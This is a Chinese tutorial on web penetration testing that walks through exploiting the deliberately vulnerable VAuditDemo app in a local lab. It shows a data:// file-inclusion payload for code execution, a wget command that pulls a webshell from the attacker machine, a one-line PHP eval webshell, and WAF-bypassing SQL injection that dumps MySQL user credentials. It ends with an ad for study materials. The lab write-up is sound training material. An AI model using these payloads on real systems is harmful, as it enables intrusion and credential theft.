一、渗透测试概念写在开始进行web渗透测试之前务必获得测试目标拥有者或组织的书面授权明确渗透测试的范围。在授权范围内进行渗透测试测试结束之后务必清除渗透测试留下的痕迹包括访问日志、事件记录、上传的shell脚本、创建的影子账户等等。渗透测试并没有一个标准的定义但通常被解释为一种评估计算机网络系统安全的方法。这个过程模拟恶意黑客的攻击方式以寻找并利用系统中的安全漏洞。渗透测试旨在挖掘目标系统的安全漏洞取得系统的控制权访问系统的机密数据并发现可能影响业务持续运作的安全隐患。渗透测试与黑客入侵的最大区别在于其进行方式。渗透测试是经过客户授权采用可控制、非破坏性质的方法和手段对目标和网络设备进行检测。这不仅能帮助管理者了解他们网络所面临的问题还能提供针对这些问题的安全加固建议从而帮助客户提升系统的安全性。渗透测试按照软件测试的理念分为三种类型白盒测试、黑盒测试、灰盒测试。其中白盒测试是基于代码审查再结合漏洞扫描等技术进行黑盒测试在业内也称为盲测除了有测试范围之外其他全部模拟黑客攻击的过程进行操作灰盒测试是结合白盒测试的代码审计、黑盒测试的攻击策略和技术的一种折中类型。白盒测试的因为拥有目标所有内部与底层的知识因此可以用最小的代价发现更多严重的隐藏的漏洞。黑盒测试因为是盲测因此需要依赖较高的技术能力攻击方式也变得多样性从而可以更完整的评估目标的安全风险也可以检测到目标团队的应急能力。灰盒测试集两者之长既能快速全面检测出漏洞同时还具备了更完整的安全风险评估能力。安全漏洞生命周期划分安全漏洞被发现到其消亡的过程被划分为7个步骤其中包含的概念如下·Exploit简称EXP利用安全漏洞造成入侵或破坏的渗透代码又叫漏洞利用代码·POCProof of Concept概念验证只是验证漏洞的存在并不会利用该漏洞进行入侵。·ExploitEXP发现漏洞后使用恶意代码或恶意指令进行漏洞的利用和入侵。·0 Day第一个发现的漏洞同时官方还没有发布补丁也未公开该漏洞漏洞处于可利用阶段。·RCERemote Code/Command Execution远程代码/命令执行。·SRC安全应急响应中心Security Emergency Response Center。二、web渗透测试的步骤渗透测试步骤分为前期交互、情报收集、汇总分析、渗透攻击、后渗透攻击、报告提交等六个阶段1、前期交互这个阶段主要是和委托方进行商讨洽谈、获取书面授权、测试范围的确定等工作2、情报搜集在获得授权的基础上对测试目标进行相应的情报收集包括网络基本配置、域名、人员权限划分、暴露的端口、系统入口、web后台入口等3、汇总分析该阶段基于上一步骤、对所有收集的信息进行汇总整理、从中找出合适的渗透方向、策略选定合适的工具以及人员分工4、渗透攻击开始进行漏洞挖掘、扫描、找出可用的载荷payload进行漏洞利用5、后渗透攻击getshell、上传木马、修补漏洞、清除痕迹和脚本6、报告编写将所有找到的安全漏洞汇总为一份渗透测试报告提交给委托方完成渗透任务。本文将依据以上的步骤以一个web靶场为例阐述web渗透测试基本流程和注意事项。三、靶场部署服务器配置操作系统CentOS7、2核CPU、2G内存、30G磁盘、网络可以访问IP192.168.211.132部署xamppvaudit客户端配置主机操作系统windows11IP192.168.1.5渗透机CentOS7IP192.168.211.129部署xampp存储攻击用的shell靶场搭建过程从gitee上面下载的一个开源软件vaudit下载地址https://github.com/1stPeak/VAuditDemo作者是Virink。1、先在CentOS上面安装一个xampp5.6版本2、使用添加VHosts和端口的方式部署vaudit在lampp/etc/extra目录下面通过添加新的vhosts虚拟主机的方式来进行处理只需要修改两个配置文件即可。1修改/opt/lampp/etc/httpd.conf添加监听端口并且包含httpd-vhosts.conf文件。Listen 80#默认端口Listen 81#VAudit端口Listen 82#预留端口Include etc/extra/httpd-vhosts.conf?#取消前面的#号注释2修改/opt/lampp/etc/extra/httpd-vhosts.conf#先注释掉其他已有的*:80的模板内容增加以下内容VirtualHost*:81ServerName localhostDocumentRoot/opt/lampp/htdocs/vaudit3修改基本配置使用网站管理中的php配置将allow_url_include设置为On也就是需要使用到远程文件包含功能。如果xampp启动失败需要在lampp的启动程序lampp中找到2.2.0修改为2.8.0如下位置export LD_ASSUME_KERNEL2.8.04接下来修改并且配置数据库连接使用vi打开/opt/lampp/htdocs/vaudit/sys目录下面的config.php文件?php error\_reporting(0); if(!file\_exists($\_SERVER\[DOCUMENT\_ROOT\]./sys/install.lock)){ header(Location:/install/install.php); exit; } //注意这行代码是一个功能bug下面这行是原文需要删掉路径中../sys/,否则留言板功能失效。 //include\_once../sys/lib.php; include\_oncelib.php; //下面为数据库的连接设置默认安装是不用修改的 $hostlocalhost; $usernameroot; $passwordroot; $databasevauditdemo; $connmysql\_connect($host,$username,$password); mysql\_query(set names utf8,$conn); mysql\_select\_db($database,$conn)or die(mysql\_error()); if(!$conn){ die(Could not connect:.mysql\_error()); exit; } session\_start(); ?完成上述步骤之后在浏览器中输入http://192.168.211.132:81/看到VAuditDemo安装界面可以看出有两个目录没有写权限需要sys和uploads进行赋权,在/www/admin/localhost_80/wwwroot下面执行下面的命令这里只需要给other赋予写入权限即可。chmod ow sys uploads然后刷新浏览器现在看到可以安装了点击安装看到如下提示表示完成。点击确定之后进入到vaudit的主页面。四、信息采集现在我们需要熟悉这个软件系统的基本功能跟踪和监控web页面上的各个接口及交互的数据这里需要使用到一些工具sqlmap、burp suite、御剑后台扫描工具、带hackbar的firefox浏览器等。先注册一个用户tester然后使用tester进入开启对系统的使用之旅通过使用我们可以发现注册普通用户不需要验证码普通用户修改用户信息不需要二次验证可以上传图头像图片搜索接口留言查看留言关于页面等普通用户可以点击或使用的功能。接下来使用御剑后台扫描工具对系统进行扫描通过扫描我们可以发现该目标站点存在一个后台登录的页面可以试试看。这里可以看出后台登录是有验证码的看来暂时是动不了这里。不过从这里我们可以看出已经有好多个接口或功能可以提供给我们验证了那么我们可以进入下一个环节看看是否能够找到一些渗透的切入点。五、概念验证针对一个web系统能够使用的渗透点主要包括登录密码的暴力破解、SQL注入、XSS注入、CSRF、文件包含等对于普通用户进行暴力破解没有必要因为我们可以自己注册一个普通用户这里主要是考虑如何能够切入到数据库或者存储型的XSS、如果有文件包含也不错可以进行利用。1、经过反复测试可以发现一个有意思的地方http://192.168.211.128/index.php?moduleabout这个地址的module翻译过来为模块而about正好指向关于页面。尝试将about改成其他任意的单词看看页面返回情况在这个过程中可以发现页面不会报错但是也没有相应的提示那么这里应该是一个文件包含的用法没有抛出错误估计是代码中给文件加了后缀并且做了异常控制。可以初步确认这里存在一个文件包含的漏洞需要进一步验证。2、接下来关注一下留言功能这里是允许用户输入内容的在渗透中有一个核心的思想那就是所有的输入是否用户可控一般来说用户可控的输入都有一定的几率存在安全风险如果后端代码未做过滤或者过滤不够彻底那么这些地方就是机会因此先从此处入手试试看。在这个位置我们可以尝试的有sql注入和存储型XSS先试试sql注入由于留言属于插入功能因此这里优先考虑报错注入看看是否有机会。结果发现注入的sql代码被原样显示显然这里没有sql注入那么再检测一下是否可以进行XSS,在输入框中输入以下代码test提交留言。可以看出还是被原文显示说明这里漏洞也被堵了那么点击查看留言详情试试这里我们可以获得留言详情的接口地址http://192.168.211.128/messageDetail.php?id9这里参数id看起来应该是一个查询条件那么可以尝试看看这里是否存在注入的可能。在hackbar中输入http://192.168.211.128/messageDetail.php?id9 or 11#可以看到下图显示从图上可以看出这里有回显且从提示看一看出sql代码被wafweb application firewall这里可以知道目标使用了一种web防火墙基础而or被替换为了sqlwaf可以看出其防火墙代码采取的是替换策略那么根据经验可以试试其他的关键字和关键符号看看替换中是否存在漏洞可以利用在sql注入中、||、_下划线单引号双引号这些符号是非常有用的如果这些符号被替换那么我们可能就得另谋出路。因此将这几个符号放在主要尝试的位置。经过尝试可以发现下划线、单引号和双引号也被转义了而和||被替换为了空这里就留下了一个注入漏洞可以利用||来绕过关键字的waf。从这里我们可以看出目前至少有两个漏洞可以试试下面我们就开始尝试看看这两个漏洞是否可以进行利用。六、漏洞利用1、文件包含漏洞的利用针对文件包含类的漏洞利用需要知道的是有两种包含方式第一种就是本地文件包含这种漏洞的利用可以获取到服务器上面的基本信息如果有文件上传漏洞存在则可以将二者进行结合从而getshell。而文件包含的利用需要用到php的伪协议相关的知识这里我们可以试试data伪协议。先使用下面的payload试试http://192.168.211.132:81/index.php?moduledata://text/plain,?php phpinfo();?这个结果表示我们其实已经可以执行OS的命令也就是getshell。比如可以执行如下的payloadhttp://192.168.211.132:81/index.php?moduledata://text/plain,?php echo\ifconfig\;?可以看到已经从服务器获取到了信息那么可以顺着这个思路往下将服务器上面的所有能看的文件都进行浏览从而获取我们需要的信息。另外也可以实施挂马的操作。从攻击服务器上面去下载一个一句话木马如果在外网上面那么服务器需要提供外网的访问功能。服务器脚本的位置就直接方法/opt/lampp/htdocs下面脚本名字可以根据需要来改其内容只有一句话?php eval($\_POST\[0\]);??在浏览器中执行下面的payloadhttp://192.168.211.132:81/index.php?moduledata://text/plain,?php\wget http://192.168.211.129/shell.inc-O/tmp/shell.php\;?在被攻击的服务器上面的/tmp目录下面可以看到下面的结果木马上传成功后续可以使用蚁剑等工具进行连接服务实施其他的操作。2、sql注入漏洞利用根据前面概念验证的结果可以看出在返回留言详情的地方可以进行SQL注入先尝试最直接的方法就是联合注入payload如下http://192.168.211.132:81/messageDetail.php?id7 uni||on sel||ect database(),version(),user(),4#可以看到结果从这里看出其内部数据库配置的是本地用户rootlocalhost这里可以试试能否直接从information_schema中获取表信息使用payload如下,这里因为要绕开单引号转义需要把数据库部分的’vauditdemo’转成hex即0x2776617564697464656d6f27sel||ect table_name fr||om info||rmation_schema.tables whe||re table_schema0x2776617564697464656d6f27但是看到的结果如下这里可以看到内部对下划线做了转义因此无法从information_schema中遍历数据库信息那就干脆试试能否从MySQL库中获取用户信息payload如下http://192.168.211.132:81/messageDetail.php?id7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd)fr||om mysql.user)#可以看到结果如下Subquery returns more than 1 row The result for[7 union select database(),version(),user(),(select concat(host,0x7e,user,0x7e,password)from mysql.user)]is:这里表示返回的数据不止一行那可以使用limit进行逐行遍历payload如下http://192.168.211.132:81/messageDetail.php?id7 uni||on sel||ect database(),version(),user(),(sel||ect conc||at(host,0x7e,user,0x7e,passwo||rd)fr||om mysql.user lim||it 0,1)#可以看到结果继续遍历就可以发现数据库里面的具体用户信息其中包含远程连接权限的用户。这个时候需要对用户humh的密码进行创库破解然后使用这个用户进行远程登录到数据库服务器对数据库进行操作这个时候就完美的避开了系统的waf。七、报告编写1、文件包含问题2、SQL注入风险3、报告模板八、写在最后本文主要基于靶场环境阐述web渗透中的一些技巧和方法文中仅仅选取了两个漏洞作为演示该系统中实际包含的漏洞超过10个有需要者可以按照本文中的步骤去慢慢挖掘。网络安全是软件系统质量模型中的重要指标之一网络漏洞和普通缺陷的区别在于普通的缺陷一般造成的是功能的失效从而导致用户使用存在困难或者用户无法使用而网络安全漏洞则可能是在用户无感知的情况下被有心人进行利用从而导致用户数据公司机密等重要信息的泄露或者服务器或个人设备整个被转成肉鸡为攻击者的攻击提供便利和掩护。网络安全漏洞不需要多一个就行因此系统在研发开始就需要将网络安全引入现在流行的称谓是安全左移网络安全要做到100%甚至200%才可以。网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取